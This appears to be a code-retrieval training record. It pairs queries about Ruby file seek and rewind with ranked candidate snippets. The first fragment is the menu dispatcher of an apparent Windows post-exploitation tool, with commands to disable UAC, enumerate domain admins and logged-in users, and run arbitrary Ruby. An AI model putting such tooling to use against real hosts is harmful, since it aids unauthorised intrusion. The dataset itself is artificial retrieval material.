\"*\".white + \"]\".light_blue + \" Giving up on things, idk....\".white\n end\n end\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Running quick cleanup....\".white unless files.empty?\n cleanup_after(files, true)\n break\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Invalid Selection: #{answer}\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Please select a valid option from the menu below.....\".white\n puts\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^uac.check/i\n if @working\n check_uac\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^disable.uac/i\n if @working\n disable_uac\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^enable.uac/i\n if @working\n enable_uac\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^active.users|^loggedin/i\n if @working\n users = check_active_users\n if not users.nil? and users.size > 0\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Enumerated Logged in Users!\".white\n Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')\n f=File.open(RESULTS + @target + '/loggedin_users.txt', 'w+')\n users.each do |usr|\n puts \" #{usr}\".white\n f.puts usr\n end\n f.close\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^domain.admin/i\n if @working\n admins = check_domain_admin\n if not admins.nil? and admins.size > 0\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Domain Administrators: \".white\n Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')\n f=File.open(RESULTS + @target + '/domain_admin.txt', 'w+')\n admins.each do |usr|\n puts \" #{usr}\".white\n f.puts usr\n end\n f.close\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^rb (.+)/i\n code=$1.chomp\n rubyme(\"#{code}\")\n puts\n core_shell\n when /^local$/i\n local_os_shell\n puts\n core_shell\n else\n cls\n puts \n puts \"Oops, Didn't quite understand that one\".light_red + \"!\".white\n puts \"Please Choose a Valid Option From Menu Below Next Time\".light_red + \"....\".white\n puts\n show_usage\n core_shell\n end\n end\nend",
"def effectiveCommander _args\n \"effectiveCommander _args;\" \n end"
] |
[
"0.58951813",
"0.57804245",
"0.5773434",
"0.5708779",
"0.56049514",
"0.5561557",
"0.55281943",
"0.5509963",
"0.5479134",
"0.54769653",
"0.54769653",
"0.54769653",
"0.54646474",
"0.5443408",
"0.5443258",
"0.54055357",
"0.53738576",
"0.53381354",
"0.5332917",
"0.5324755",
"0.5314455",
"0.52990025",
"0.52631634",
"0.524949",
"0.52458155",
"0.52302295",
"0.5218019",
"0.521255",
"0.5187925",
"0.518025",
"0.51726097",
"0.51708037",
"0.5169252",
"0.5145194",
"0.5142414",
"0.5141917",
"0.51334155",
"0.5132158",
"0.5127802",
"0.51182735",
"0.5109753",
"0.5103423",
"0.5100592",
"0.50995934",
"0.5089153",
"0.5088961",
"0.50841254",
"0.5083233",
"0.50804234",
"0.50746495",
"0.50724936",
"0.5064188",
"0.5061891",
"0.5061094",
"0.50606275",
"0.50606275",
"0.5055744",
"0.5052734",
"0.50512445",
"0.5041784",
"0.50329435",
"0.50329435",
"0.5031704",
"0.5030941",
"0.5025386",
"0.502211",
"0.5021347",
"0.50209576",
"0.5018491",
"0.501784",
"0.5017744",
"0.5011069",
"0.50053203",
"0.50042176",
"0.50020576",
"0.49984047",
"0.49972463",
"0.49972463",
"0.49972463",
"0.4993019",
"0.49926758",
"0.49897555",
"0.49865595",
"0.49795565",
"0.49794084",
"0.4973901",
"0.49713415",
"0.4970658",
"0.49704063",
"0.49700543",
"0.49676225",
"0.49674734",
"0.49661806",
"0.49589652",
"0.49535534",
"0.4950142",
"0.49448547",
"0.49401134",
"0.4936694",
"0.49360415",
"0.4935937"
] |
0.0
|
-1
|
Seek to the beginning of the file
|
def rewind
select_io_from_pos(0)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rewind(f)\n # '.seek()' command moves to the start of the file\n f.seek(0)\nend",
"def rewind(f)\n #seeks for f at line 0\n f.seek(0)\n end",
"def rewind(f)\n f.seek(0) # .seek looks for an indexed part of the file, could use any number to place within a file.\nend",
"def rewind(f)\n # the seek method tries to find a position (given as an integer)\n # if we send a file to our \"rewind\" method, it will \"seek\" position 0\n # position 0 is the beginning of the File\n f.seek(0)\nend",
"def rewind(f)\n# takes you to first position in the argument\n f.seek(0)\nend",
"def rewind(f)\n # every time you go f.seek(0) it brings you to the start of the file\n f.seek(0)\n# ends the function\nend",
"def rewind\n @pos = @startpos\n @eof = false\n end",
"def rewind(f)\n# Seek method is used to move the file pointer to particular location. Here it moves to beginning of the file\n f.seek(0)\nend",
"def rewind (f)\n f.seek(0)\nend",
"def rewind(f)\n # Replaces reading 'cursor' for read file to start of file/ Restarts\n # the progression through the file contents to beginning (0).\n f.seek(0)\n# Closes method.\nend",
"def rewind(f)\n # seeks position 0 in the file ( the beginning of the file)\n f.seek(0)\n# ends the function\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\n end",
"def seek(offset)\n @file.seek offset\n end",
"def rewind(f)\r\n f.seek(0)\r\nend",
"def rewind(f)\r\n f.seek(0)\r\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n\t# I am not sure what .seek(0) does\n\tf.seek(0)\nend",
"def rewind(f)\n # seeks position 0 of arguemnt f\n f.seek(0)\n# end definition of function\nend",
"def rewind(f)\n # Call the seek function on the f object, passing the location that you want to 'seek' to (as an integer). In this case, seek to location 0 or the start of the file\n f.seek(0)\n # end the function\nend",
"def rewind(f)\n #\"rewind\" file back to beginning\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0, IO::SEEK_SET) \nend",
"def rewind(f)\r\n\tf.seek(0)\r\nend",
"def rewind(f)\n # sets the line counter to 0\n f.seek(0)\n # end of function block\nend",
"def rewind(f)\n # the seek(procurar) method of classIO, moves the file pointer(indicates urrent location in the file)\n # to a given integer distance (the first parameter), since the integer distance is 0,\n # this method moves the file pointer to the beginning of the file\n f.seek(0)\nend",
"def rewind(f)\n\t# it's magic - I think the 0 means find that spot, SEEK means find it??\n\tf.seek(0, IO::SEEK_SET)\n# ends the rewind function definition\t\nend",
"def file_begin(file)\n end",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n f.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n # will call the .seek method on 'f'\n f.seek(0)\nend",
"def rewind\n seek(0)\n end",
"def rewind(f)\n f.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n f.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n f.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n f.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n f.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n #the seek method of classIO, moves the file pointer(indicates current location\n # of file) to a given integer distance(first parameter), since the interger\n #distance is 0, this method moves the file pointer to beginning of file\n f.seek(0)\nend",
"def rewind\n @dat.goto(@section_label)\n 1.upto(2) { @filehandle.readline }\n end",
"def rewind(f)\n# seek(amount, whence=IO::SEEK_SET) (http://www.ruby-doc.org/core-1.9.3/IO.html)\n# IO::SEEK_SET => Seeks to the absolute location given by _amount_ \n# amount = 0, also sprint er an den Anfang der Datei\n f.seek(0, IO::SEEK_SET)\n# Beendet die Funktion\nend",
"def seek(p0) end",
"def rewind(f)\n#call seek method on f. Seek to the absolute position indicated in the first parameter '0'\n\tf.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n f.seek(8)\nend",
"def rewind(f)\n\t# moves to 0 byte of the file (beginning)\n\tf.seek(0)\n\t# ends the function\nend",
"def rewind(f)\n\tf.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n\tf.seek(0, IO::SEEK_SET)\nend",
"def rewind(f)\n\tf.seek(0, IO::SEEK_SET)\nend",
"def seek_start\n seek_to_percent(0.0)\n end",
"def seek\n end",
"def seek\n end",
"def rewind\n @file.rewind\n end",
"def rewind\n seek(0)\n end",
"def rewind\n @offset = 0\n end",
"def rewind\n @pos = 0\n end",
"def rewind\n @pos = 0\n end",
"def fileseek(offset = 0, _message = nil)\n # st = Time.now\n @fHnd.seek(offset, IO::SEEK_SET)\n # $log.warn \"seek time [#{Time.now-st}] from [#{message}]\" if $log\n end",
"def seek_section_head\n @psd_file.seek(@parser.color_mode_data.termination_pos, IO::SEEK_SET)\n end",
"def rewind\n @sio_pos = 0\n @_st_lineNumber = 0\n end",
"def rewind(hank)\n# this utilizes the seek method attached to our file to do somethingIll get back to you on that \n hank.seek(0 , IO::SEEK_SET)\n#Ends the function \nend",
"def rewind\n file_handle.rewind\n file_handle.gets # skip past header\n nil\n end",
"def seek_to_seek(offset)\r\n\t\t\tunless @fh\r\n\t\t\t\traise \"Cannot seek on unopened file\\n\"\r\n\t\t\tend\r\n\t\t\t@fh.seek(offset)\r\n\t\t\ttrue\r\n\t\t end",
"def rewind\n seek_index(0)\n end",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def rewind() end"
] |
[
"0.741359",
"0.7371233",
"0.7248637",
"0.7247478",
"0.7244695",
"0.71952647",
"0.71789443",
"0.7152667",
"0.7087586",
"0.70634896",
"0.7037251",
"0.7032709",
"0.7032709",
"0.7032709",
"0.7032709",
"0.7032709",
"0.7032709",
"0.7032709",
"0.70303136",
"0.7013952",
"0.6984718",
"0.6984718",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.6984546",
"0.697448",
"0.6961133",
"0.69466454",
"0.6943787",
"0.69364685",
"0.6915107",
"0.691202",
"0.6908178",
"0.6905366",
"0.6896893",
"0.6896813",
"0.6896813",
"0.6896813",
"0.6896813",
"0.6893892",
"0.68861693",
"0.6851273",
"0.68470097",
"0.68470097",
"0.68470097",
"0.68470097",
"0.68470097",
"0.68032724",
"0.6799622",
"0.6755489",
"0.67543626",
"0.6744149",
"0.6742151",
"0.67319983",
"0.67278004",
"0.67278004",
"0.67278004",
"0.6705186",
"0.6691939",
"0.6691939",
"0.6679596",
"0.6675918",
"0.66586566",
"0.6655475",
"0.6655475",
"0.662433",
"0.659529",
"0.65951616",
"0.6552007",
"0.65120816",
"0.64930004",
"0.6444292",
"0.6405851",
"0.6405851",
"0.6405851",
"0.6405851"
] |
0.0
|
-1
|
The current position in the sequence
|
def tell
@current_io_start + @current_io.tell
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pos() @current end",
"def pos\n @position[:current]\n end",
"def position\n current.position\n end",
"def current_position\n @start_position + delta\n end",
"def pos\n @pos\n end",
"def cur_pos\n @cursor.pos\n end",
"def position\n return @position\n end",
"def position\n return @position\n end",
"def starting_position; end",
"def current_idx\n return @idx >= 0 ? @idx : nil\n end",
"def position\n @position\n end",
"def position\n first.position\n end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def next_starting_position\n\t\tpos = @starting_positions[@pos_idx]\n\t\t@pos_idx = (@pos_idx + 1) % @starting_positions.length\n\t\tpos\n\tend",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def current_line_pos\n pos - col\n end",
"def current_position\n return 1 if Task.all.empty?\n Task.maximum('position') + 1\n end",
"def pos()\n #This is a stub, used for indexing\n end",
"def pos()\n #This is a stub, used for indexing\n end",
"def position\r\n self.line.ordered_samples.to_a.index(self)\r\n end",
"def procession_position\n procession.index(self).to_i + 1\n end",
"def procession_position\n procession.index(self).to_i + 1\n end",
"def pos\n end",
"def pos\n end",
"def pos\n end",
"def pos\n @read\n end",
"def position\n end",
"def current_offset; end",
"def pos\n io.pos\n end",
"def pos\n @pos || uninitialized!\n end",
"def position_to_index(position)\n position - 1\n end",
"def pos()\n #This is a stub, used for indexing\n end",
"def begin_pos; end",
"def to(position)\n first position + 1\n end",
"def to(position)\n first position + 1\n end",
"def current_line\n @lines[@current_index]\n end",
"def current_pos\n\t\treturn arr = [pos_x, pos_y]\n\tend",
"def pos=(pos); end",
"def get_last\n return @position\n end",
"def next_position\n (@position + face_vector).column(0).to_a\n end",
"def starting_position=(_arg0); end",
"def tell\n @pos\n end",
"def sequence\n return @sequence\n end",
"def final_position\n final = self.sequence.last\n if final.is_a? Array\n final.join(\" \")\n else\n final\n end\n end",
"def position\n @state[\"position\"]\n end",
"def start; @sequence[0]; end",
"def offset\n\t\t\t@position + @offset\n\t\tend",
"def current; peek(0) end",
"def get_current_offset\n @offset < 0 ? 0 : @offset\n end",
"def pos\n @stream.pos\n end",
"def column\n old_pos - start_of_current_line_pos\n end",
"def column\n old_pos - start_of_current_line_pos\n end",
"def current_position\n position = @position_overwrite || $game_system.message_position\n case position\n when 0\n return :top\n when 1\n return :middle\n when 2\n return :bottom\n end\n position\n end",
"def getSequence\r\n\t\t\t\t\treturn @sequence\r\n\t\t\t\tend",
"def offset\n 1\n end",
"def pos\n file.pos\n end",
"def input_to_index(position)\n index = position.to_i - 1\n end",
"def from_line_index\n from_line - 1\n end",
"def current\n if @history_idx < 0\n [ @history_idx, nil ]\n else\n [ @history_idx, @history[@history_idx] ]\n end\n end",
"def last_sequence\n self.seq\n end",
"def seq_index(seq)\n self.sliding_groups_of(seq.size).index(seq)\n end",
"def input_to_index(position)\n position.to_i - 1\nend",
"def get_current_position\n [@current_X_pos, @current_Y_pos]\n end",
"def input_to_index(position)\n index = position.to_i - 1\nend",
"def begin_pos=(_); end",
"def position=(_arg0); end",
"def seq\n return self.slice.seq\n end",
"def pos; @_io.pos; end",
"def sequence\n @sequence\n end",
"def current; end",
"def current; end",
"def current()\n @string[@index...(@index+1)]\n end",
"def to_position\n self\n end",
"def on_call_position(context)\n index = current_node_set.index(context.first) + 1\n\n return index.to_f\n end",
"def position\n @entry.position\n end",
"def forward_position\n\t\tcase @orientations.key(@orientation.to_i)\n\t\twhen 'N'\n\t\t\treturn [@x.to_i, @y.to_i + 1]\n\t\twhen 'E'\n\t\t\treturn [@x.to_i + 1,@y.to_i]\n\t\twhen 'S'\n\t\t\treturn [@x.to_i,@y.to_i - 1]\n\t\twhen 'W'\n\t\t\treturn [@x.to_i - 1,@y.to_i]\n\t\telse\n\t\t\treturn 'There was a problem'\n\t\tend\n\tend",
"def current_value\n @list[@current_index]\n end",
"def current_value\n @list[@current_index]\n end",
"def base_sequence\n self.mutex.synchronize do\n return 0 if not self.queue[self.beg]\n return self.queue[self.beg][0]\n end\n end",
"def current\n @current\n end",
"def input_to_index(position)\n position = position.to_i - 1\n return position\nend",
"def pos=\n end",
"def pos=\n end",
"def get_position(full_move)\n full_move[0..1].map { | num | num.to_i - 1 }\n end",
"def current_line\n # get the actual offset\n start = @buffer.get_iter_at_offset(@@offset)\n\n # get the command\n line = @buffer.get_text(start, @buffer.end_iter)\n\n return line\n end"
] |
[
"0.82977897",
"0.82276475",
"0.8043575",
"0.7803495",
"0.7648334",
"0.7575584",
"0.7542907",
"0.7542907",
"0.753224",
"0.7478208",
"0.7395998",
"0.73089325",
"0.7296934",
"0.7296934",
"0.7296934",
"0.7296934",
"0.7296934",
"0.7296934",
"0.7296934",
"0.7296934",
"0.7256634",
"0.7256634",
"0.7256634",
"0.7256634",
"0.7212583",
"0.7188996",
"0.7188996",
"0.7188996",
"0.7188996",
"0.7188996",
"0.7188996",
"0.71680856",
"0.7142948",
"0.71061623",
"0.71061623",
"0.7105345",
"0.70736253",
"0.70736253",
"0.7058424",
"0.7058424",
"0.7058424",
"0.70408654",
"0.7028787",
"0.7020706",
"0.70192146",
"0.70004576",
"0.6986443",
"0.6966312",
"0.69654363",
"0.69650996",
"0.69650996",
"0.6956771",
"0.6914177",
"0.68962544",
"0.68947214",
"0.68818486",
"0.6859536",
"0.6851174",
"0.6838112",
"0.6823244",
"0.68228203",
"0.6809434",
"0.68092626",
"0.6801095",
"0.67734975",
"0.67612803",
"0.6756452",
"0.6756452",
"0.6746713",
"0.6731811",
"0.67242223",
"0.67122704",
"0.67114353",
"0.6685616",
"0.6673291",
"0.66568416",
"0.66524804",
"0.66466993",
"0.6645942",
"0.6634141",
"0.6632151",
"0.6631325",
"0.6625147",
"0.6619307",
"0.66176057",
"0.659135",
"0.659135",
"0.6589655",
"0.6577896",
"0.6567535",
"0.6550194",
"0.653937",
"0.6533672",
"0.6533672",
"0.65267056",
"0.650291",
"0.6500071",
"0.6499835",
"0.6499835",
"0.648572",
"0.6464524"
] |
0.0
|
-1
|
Seek to the given absolute position in the sequential stream
|
def seek(pos)
if pos < @current_io_start || @current_io_end <= pos
select_io_from_pos(pos)
end
@current_io.seek(pos - @current_io_start, IO::SEEK_SET)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def seek(*args)\n raise ArgumentError, \"no stream\" unless __advance!\n @_st_stream.seek(*args)\n end",
"def seek(p0) end",
"def test_seek_at_position\n sample = stream.seek(10)\n assert_equal 10, stream.sample_index\n assert_equal Time.at(5), stream.time\n assert_equal [0, Time.at(5), 5], sample\n\n # Check that seeking did not break step / step_back\n assert_equal [1, Time.at(5, 500), 50000], stream.step\n assert_equal [0, Time.at(6), 6], stream.step\n assert_equal [2, Time.at(6, 500), 600], stream.step\n sample = stream.seek(10)\n assert_equal [2, Time.at(4, 500), 400], stream.step_back\n assert_equal [0, Time.at(4), 4], stream.step_back\n assert_equal [1, Time.at(3, 500), 30000], stream.step_back\n\n #check if seeking is working if index is not cached\n #see INDEX_STEP\n sample = stream.seek(21)\n assert_equal 21, stream.sample_index\n assert_equal Time.at(10,500), stream.time\n assert_equal [2, Time.at(10,500), 1000], sample\n end",
"def seek(x); @_io.seek(x); end",
"def seek(index)\n if (index <= @p)\n @p = index # just jump; don't update stream state (line, ...)\n return\n end\n # seek forward, consume until p hits index\n while (@p < index)\n consume\n end\n end",
"def seek(new_position)\n end",
"def seek(position)\n send_packet(:seek, {\n position: position\n })\n end",
"def seek(position)\n current.position = position if position\n\n self\n end",
"def seek\n end",
"def seek\n end",
"def consume_seek(pos)\n orig = consume_pos\n if pos < 0\n pos = consume_pos + pos\n pos = 0 if pos < 0\n end\n @consume_pos = pos\n orig\n end",
"def pos\n raise ArgumentError, \"no stream\" unless __advance!\n @_st_stream.tell\n end",
"def seek(*rest) end",
"def seek(offset)\n @file.seek offset\n end",
"def seek(*rest) end",
"def seek _value, _type=0\n send_cmd(\"seek #{_value} #{_type}\")\n end",
"def pos=(position)\n raise ArgumentError, \"no stream\" unless __advance!\n @_st_stream.pos = position\n end",
"def seek(arg0, arg1, *rest)\n end",
"def seek(pos, rio = nil)\n if pos.kind_of?(DataHeader)\n unless io_index = @io.index(pos.io)\n raise \"#{pos} does not come from this log fileset\"\n end\n @rio = io_index\n @next_block_pos = pos.block_pos\n else\n\t\traise ArgumentError, \"need rio argument, if pos is not a DataHeader\" unless rio\n\t\t@rio = rio\n @next_block_pos = pos\n end\n nil\n end",
"def seek(amount, whence=SEEK_SET) end",
"def seek(offset)\n @data.seek(@data_offset + offset)\n end",
"def data_seek(n)\n @result.data_seek(n)\n end",
"def sysseek(offset, whence=SEEK_SET) end",
"def seek(pos)\n io.seek(pos)\n @buffer_io = StringIO.new\n @payload_size = 0\n end",
"def pos; @_io.pos; end",
"def seek stream=@stream, spec={}\n unless stream.is_a?(NokoScanner)\n stream, spec = @stream, stream\n end\n while stream.more?\n mtch = (block_given? ? yield(stream) : match(spec, stream: stream))\n return mtch if mtch.success?\n stream = mtch.next\n end\n end",
"def read_from_pos(position, length)\n self.old_seek(position)\n data = self.old_read(length)\n self.old_seek(position)\n\n data\n end",
"def test_seek_at_time\n #no sample must have a later logical time\n #seek returns the last sample possible\n sample = stream.seek(Time.at(5))\n assert_equal 10, stream.sample_index\n assert_equal Time.at(5), stream.time\n assert_equal [0, Time.at(5), 5], sample\n\n # Check that seeking did not break step / step_back\n assert_equal [1, Time.at(5,500), 50000], stream.step\n assert_equal [0, Time.at(6), 6], stream.step\n assert_equal [2, Time.at(6, 500), 600], stream.step\n sample = stream.seek(Time.at(50))\n assert_equal [1, Time.at(49, 500), 490000], stream.step_back\n assert_equal [0, Time.at(49), 49], stream.step_back\n assert_equal [2, Time.at(48, 500), 4800], stream.step_back\n end",
"def pos\n @stream.pos\n end",
"def seek_to_seek(offset)\r\n\t\t\tunless @fh\r\n\t\t\t\traise \"Cannot seek on unopened file\\n\"\r\n\t\t\tend\r\n\t\t\t@fh.seek(offset)\r\n\t\t\ttrue\r\n\t\t end",
"def fileseek(offset = 0, _message = nil)\n # st = Time.now\n @fHnd.seek(offset, IO::SEEK_SET)\n # $log.warn \"seek time [#{Time.now-st}] from [#{message}]\" if $log\n end",
"def seek(amount, whence = IO::SEEK_SET)\n case whence\n when IO::SEEK_CUR\n @offset += amount\n when IO::SEEK_SET\n raise Errno::EINVAL if amount < 0\n @offset = amount\n when IO::SEEK_END\n @offset = size + amount\n end\n @offset\n end",
"def seek_to_record(index)\n seek(index * @record_length)\n end",
"def seek(amount, whence=SEEK_SET)\n #This is a stub, used for indexing\n end",
"def seek_by(amount)\n return unless running?\n info \"SEEK BY: #{amount}\"\n send_command :seek, amount, 0\n end",
"def seek (offset)\n @io.seek(offset, IO::SEEK_SET)\n @buffer = nil\n self\n end",
"def seek_forward(amount = opts[:seek_size])\n seek_by(amount)\n end",
"def seek(amount, whence=IO::SEEK_SET)\n #This is a stub, used for indexing\n end",
"def seek_at(index)\n @file.seek(index << @level, index < 0 ? IO::SEEK_END : IO::SEEK_SET)\n end",
"def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n @io.rewind\n @total_bytes_out = 0\n when IO::SEEK_CUR\n @total_bytes_out\n end\n end",
"def pos=(p)\n @stream.pos=(p)\n end",
"def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n @io.rewind\n @total_bytes_in = 0\n when IO::SEEK_CUR\n @total_bytes_in\n end\n end",
"def test_goto_position_backwards\n @buffer = Buffer.new 'hellow world'\n @buffer.fin\n @buffer.goto_position 5\n assert_eq @buffer.position, 5\n assert_eq @buffer.at, 'w'\n end",
"def seek(message)\n @mutex.lock\n\n @kafka.seek(message)\n ensure\n @mutex.unlock\n end",
"def seek(amount, whence=IO::SEEK_SET)\n sysseek(amount, whence)\n end",
"def pos\n io.pos\n end",
"def read(pos)\n end",
"def read_abs(size, pos)\n @data.byteslice(pos, size)\n end",
"def pos\n @io.pos - @buffer.size\n end",
"def data_seek(n)\n @index = n\n self\n end",
"def look_ahead(pos)\n offset = @index + pos - 1\n if @buffer.length < offset + 1\n char = @input.read(offset + 1 - @buffer.length)\n @buffer << char if not char.nil?\n end\n\n if offset < @buffer.length\n @buffer[offset]\n else\n EOF\n end\n end",
"def look_ahead(pos)\n offset = @index + pos - 1\n if @buffer.length < offset + 1\n char = @input.read(offset + 1 - @buffer.length)\n @buffer << char if not char.nil?\n end\n\n if offset < @buffer.length\n @buffer[offset]\n else\n :EOF\n end\n end",
"def read_and_advance(length)\n data = nil\n cursor_start = current.position\n case current.direction\n when :forward\n data = @buffer.slice(current.position, length)\n adjust(length)\n when :backward\n adjust(-length)\n data = @buffer.slice(current.position, length)\n end\n\n record_trace(cursor_start, data.bytes, current.name)\n data\n end",
"def seek_index(index_)\n if @opened && index_ >= 0 && index_ <= @num_records\n if index_ < @num_records && index_ != @cur_record_index\n @index_file.seek(100+8*index_)\n offset_ = @index_file.read(4).unpack('N').first\n @main_file.seek(offset_*2)\n end\n @cur_record_index = index_\n true\n else\n false\n end\n end",
"def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n io.rewind\n initialize_keys\n @total_bytes_out = 0\n when IO::SEEK_CUR\n @total_bytes_out\n end\n end",
"def seek( offset )\n\t\t\tif @log_file\n\t\t\t\tseek_offset = offset\n\t\t\t\tseek_offset = @progress.file_size if offset > @progress.file_size\n\t\t\t\t@log_file.seek( seek_offset, IO::SEEK_SET )\n\t\t\tend\n\t\tend",
"def seek(offset, whence = SEEK_SET)\n\t\tsane = 0\n\n\t\t# Just in case...\n\t\tcase whence\n\t\t\twhen ::IO::SEEK_SET\n\t\t\t\tsane = 0\n\t\t\twhen ::IO::SEEK_CUR\n\t\t\t\tsane = 1\n\t\t\twhen ::IO::SEEK_END\n\t\t\t\tsane = 2\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Invalid seek whence #{whence}.\", caller\n\t\tend\n\n\t\trequest = Packet.create_request('core_channel_seek')\n\n\t\trequest.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)\n\t\trequest.add_tlv(TLV_TYPE_SEEK_OFFSET, offset)\n\t\trequest.add_tlv(TLV_TYPE_SEEK_WHENCE, sane)\n\n\t\tbegin\n\t\t\tresponse = self.client.send_request(request)\n\t\trescue\n\t\t\treturn -1\n\t\tend\n\n\t\treturn tell\n\tend",
"def seek_contiguous_min(needle, step_lines = 10)\n\n file = @file\n min = nil\n\n # move to head of line\n seek_line_head\n\n loop do\n\n lines = backward_lines(step_lines)\n lines_pos = str_byte_index(lines, needle)\n file_pos = file.pos\n\n # for debug\n # p [\n # lines: lines,\n # lines_pos: lines_pos,\n # file_pos: file_pos\n # ].to_s\n # sleep 0.05\n\n if lines_pos.nil?\n break\n else\n\n min = file_pos + lines_pos\n\n # if not first line, add 1 to result\n min += 1 if file_pos > 0\n\n break if lines_pos > 0 || file_pos < 1\n end\n end\n\n file.seek(min) unless min.nil?\n min\n end",
"def seek(amount, whence=IO::SEEK_SET)\n whence = IO::Util.ruby_seek_to_apr(whence)\n err, pos = APR.apr_file_seek(@native_file, whence, amount)\n APR.raise_apr_errno(err)\n # TODO: Verify expected return value\n end",
"def tell\n @pos\n end",
"def on_seek(evt)\n offset = @slider.value\n @mc.seek(offset)\n end",
"def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && delegate.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n delegate.rewind\n @inflater.close\n @inflater = Zlib::Inflate.new(@window_bits)\n @inflate_buffer = ''\n 0\n when IO::SEEK_CUR\n @inflater.total_out - @inflate_buffer.length\n end\n end",
"def prepare!\n @io.seek(@position)\n end",
"def tell; @next_block_pos end",
